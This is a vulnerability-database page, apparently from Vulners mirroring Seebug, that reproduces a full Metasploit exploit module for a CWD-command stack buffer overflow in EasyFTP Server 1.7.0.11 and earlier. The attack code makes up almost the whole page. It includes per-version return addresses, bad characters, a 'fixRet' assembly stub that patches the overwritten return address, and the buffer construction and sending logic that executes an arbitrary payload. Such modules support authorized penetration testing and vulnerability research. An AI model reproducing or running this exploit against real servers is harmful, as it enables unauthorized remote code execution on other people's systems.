Lucene search
K

EasyFTP Server <= 1.7.0.11 CWD Command Stack Buffer Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 98 Views

EasyFTP Server 1.7.0.11 CWD Command Stack Buffer Overflo

Code

                                                ##
# $Id: easyftp_cwd_fixret.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;EasyFTP Server &#60;= 1.7.0.11 CWD Command Stack Buffer Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11
				and earlier. EasyFTP fails to check input size when parsing &#39;CWD&#39; commands, which
				leads to a stack based buffer overflow.  EasyFTP allows anonymous access by
				default; valid credentials are typically unnecessary to exploit this vulnerability.

				After version 1.7.0.12, this package was renamed &#34;UplusFtp&#34;.

				This exploit utilizes a small piece of code that I\&#39;ve referred to as &#39;fixRet&#39;.
				This code allows us to inject of payload of ~500 bytes into a 264 byte buffer by
				&#39;fixing&#39; the return address post-exploitation.  See references for more information.
			},
			&#39;Author&#39;         =&#62;
				[
					&#39;Paul Makowski &#60;my.hndl [at] gmail.com&#62;&#39;, # original version
					&#39;jduck&#39; # various fixes, remove most hardcoded addresses
				],
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Version&#39;        =&#62; &#39;$Revision: 9179 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;OSVDB&#39;, &#39;62134&#39; ],
					[ &#39;URL&#39;, &#39;http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-return-address-overwrite/&#39; ],
					[ &#39;URL&#39;, &#39;http://paulmakowski.wordpress.com/2010/04/19/metasploit-plugin-for-easyftp-server-exploit&#39; ],
					[ &#39;URL&#39;, &#39;http://seclists.org/bugtraq/2010/Feb/202&#39; ],
					[ &#39;URL&#39;, &#39;http://code.google.com/p/easyftpsvr/&#39;],
					[ &#39;URL&#39;, &#39;https://tegosecurity.com/etc/return_overwrite/RCE_easy_ftp_server_1.7.0.2.zip&#39; ],
					[ &#39;URL&#39;, &#39;http://www.securityfocus.com/bid/38262/exploit&#39;]
				],
			&#39;Privileged&#39;     =&#62; false,
			&#39;Payload&#39;        =&#62;
				{
					# Total bytes able to write without crashing program (505) - length of fixRet (25) - slack space (30) = 450
					&#39;Space&#39;    =&#62; 505 - 30 - 25,
					&#39;BadChars&#39; =&#62; &#34;\x00\x0a\x2f\x5c&#34;, # from: http://downloads.securityfocus.com/vulnerabilities/exploits/38262-1.py
					&#39;DisableNops&#39; =&#62; true
				},
			&#39;Platform&#39;	 =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[ &#39;Windows Universal - v1.7.0.2&#39;,   { &#39;Ret&#39; =&#62; 0x00404121 } ], # call edi - from ftpbasicsvr.exe
					[ &#39;Windows Universal - v1.7.0.3&#39;,   { &#39;Ret&#39; =&#62; 0x00404121 } ], # call edi - from ftpbasicsvr.exe
					[ &#39;Windows Universal - v1.7.0.4&#39;,   { &#39;Ret&#39; =&#62; 0x00404111 } ], # call edi - from ftpbasicsvr.exe
					[ &#39;Windows Universal - v1.7.0.5&#39;,   { &#39;Ret&#39; =&#62; 0x004040ea } ], # call edi - from ftpbasicsvr.exe
					[ &#39;Windows Universal - v1.7.0.6&#39;,   { &#39;Ret&#39; =&#62; 0x004040ea } ], # call edi - from ftpbasicsvr.exe
					[ &#39;Windows Universal - v1.7.0.7&#39;,   { &#39;Ret&#39; =&#62; 0x004040ea } ], # call edi - from ftpbasicsvr.exe
					[ &#39;Windows Universal - v1.7.0.8&#39;,   { &#39;Ret&#39; =&#62; 0x004043ca } ], # call edi - from ftpbasicsvr.exe
					[ &#39;Windows Universal - v1.7.0.9&#39;,   { &#39;Ret&#39; =&#62; 0x0040438a } ], # call edi - from ftpbasicsvr.exe
					[ &#39;Windows Universal - v1.7.0.10&#39;,  { &#39;Ret&#39; =&#62; 0x0040435a } ], # call edi - from ftpbasicsvr.exe
					[ &#39;Windows Universal - v1.7.0.11&#39;,  { &#39;Ret&#39; =&#62; 0x0040435a } ], # call edi - from ftpbasicsvr.exe
				],
			&#39;DisclosureDate&#39; =&#62; &#39;Feb 16 2010&#39;,
			&#39;DefaultTarget&#39; =&#62; 0))
	end

	def check
		connect
		disconnect

		if (banner =~ /BigFoolCat/) # EasyFTP Server has undergone several name changes
			return Exploit::CheckCode::Vulnerable
		end
			return Exploit::CheckCode::Safe
	end

	def exploit
		connect_login

		# If the payload&#39;s length is larger than 233 bytes then the payload must be bisected with the return address and later patched.
		# Explanation of technique: http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-return-address-overwrite/

		# NOTE:
		# This exploit jumps to edi, which happens to point at a partial version of
		# the &#39;buf&#39; string in memory. The fixRet below fixes up the code stored on the
		# stack and then jumps there to execute the payload. The value in esp is used
		# with an offset for the fixup.
		fixRet_asm = %q{
			mov ecx, 0xdeadbeef
			mov edi, esp
			sub edi, 0xfffffe14
			mov [edi], ecx
			add edi, 0xffffff14
			jmp edi
		}
		fixRet = Metasm::Shellcode.assemble(Metasm::Ia32.new, fixRet_asm).encode_string

		buf = &#39;&#39;

		print_status(&#34;Prepending fixRet...&#34;)
		buf &#60;&#60; fixRet
		buf &#60;&#60; make_nops(0x20 - buf.length)
		#buf &#60;&#60; &#34;C&#34; * (0x20 - buf.length)

		print_status(&#34;Adding the payload...&#34;)
		buf &#60;&#60; payload.encoded

		# Backup the original return address bytes
		buf[1,4] = buf[268,4]

		print_status(&#34;Overwriting part of the payload with target address...&#34;)
		buf[268,4] = [target.ret].pack(&#39;V&#39;) # put return address @ 268 bytes

		# NOTE: SEH head at offset 256 also gets smashed. That is, it becomes what is at fs:[0] ..

		print_status(&#34;Sending exploit buffer...&#34;)
		send_cmd( [&#39;CWD&#39;, buf] , false) # this will automatically put a space between &#39;CWD&#39; and our attack string

		handler
		disconnect
	end

end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation